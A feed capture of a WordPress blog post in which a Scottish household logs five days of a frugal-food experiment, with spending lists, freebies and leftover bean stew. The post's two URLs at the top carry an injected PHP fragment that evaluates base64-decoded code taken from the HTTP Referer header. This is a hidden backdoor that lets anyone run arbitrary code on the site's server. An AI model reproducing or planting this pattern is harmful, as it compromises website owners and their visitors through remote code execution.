This Standard Scottish Life » sympathy http://www.thisstandardscottishlife.com Wed, 06 Jan 2010 16:55:35 +0000 http://wordpress.org/?v=2.9 en hourly 1 Project Frugal – Day 5. This was a mistake. http://www.thisstandardscottishlife.com/2008/11/06/project-frugal-day-5-this-was-a-mistake/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.thisstandardscottishlife.com/2008/11/06/project-frugal-day-5-this-was-a-mistake/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Wed, 05 Nov 2008 23:21:44 +0000 Sandy http://www.thisstandardscottishlife.com/?p=318 Only five days in and Project Frugal is derailing.  This is due to:

  • certain members of the Project Frugal team not entering into the true spirit of the endeavor
    • Le Chef! What’s that bottle of cola doing here?  That’s an unnecessary extravagance! What’s wrong with drinking water? I have not drunk any of it as I have self control (well at least a little) unlike some people.
  • An emergency which required immediate abandonment of all frugality.
    • OMG! Fraulein Direktor’s bicycle was stolen today.  She was rightly traumatised by the loss of the beloved commuting bike.  Appropriate application of tea and sympathy was administered.  Well, not tea and sympathy but more coffee, rhubarb tart and empire biscuits and sympathy too.
  • the threat of inappropriate recycling of leftovers
    • Oh Le Chef,  you didn’t eat your porridge.
    • No but I put it in the pasta sauce.
    • We’re having porridge pasta for tea?  I’m off to the chippie!

Wot we spent on buying food:

£10.70 Total so far for Project Frugal £23.87. Le Chef continues to go his own way on his extravagant lunches.  Full disclosure is not forthcoming.

Wot we bought:

  • tea and sympathy for pal @ £6.50
  • my sandwich @ £2.60.  I didn’t bring my sarnie coz I was scheduled to have luncheon with Imelda (I was hoping she’d pay)  but due to right royal work type feck up lunch had to be canceled.
  • that unnecessary bottle of cola @1 £1.60

Wot we should have bought but didn’t:

  • porridge oats

Wot we ate:

  • OJ
  • Cappuccino (not Le Chef)
  • porridge (not Le Chef)
  • macchiato empire biscuit as part of tea and sympathy
  • salami, jarlsberg and salsa sandwich
  • chocolate raisins (free. Thanks Flora)
  • decaf coffee (free. thanks work)
  • hot chocolate (free. thanks work)
  • porridge pasta.  Actually Le Chef he did pull my leg about putting porridge in the pasta sauce.  But the pasta sauce did contain the bean stew that I couldn’t finish last night.  In fact the pasta sauce tasted like chili con carne without the carne bit.  I did ask why we didn’t have it on rice only to learn that there is no rice left.  Shopping list then…
  • water and lots of it
  • white tea with camomile and cinnamon (free. Thanks Imelda)
  • carrot cake (free. Thanks Dr Soapbox)
  • tea type tea (Free. Thanks Gussie and Roderick)

Reflections on frugality

I was secretly hoping for a fluffy cheese and tomato omlette for tea tonight but the ongoing saga of the recycled bean stew continues.  Tis getting tastier.

Just buy the ruddy oats!

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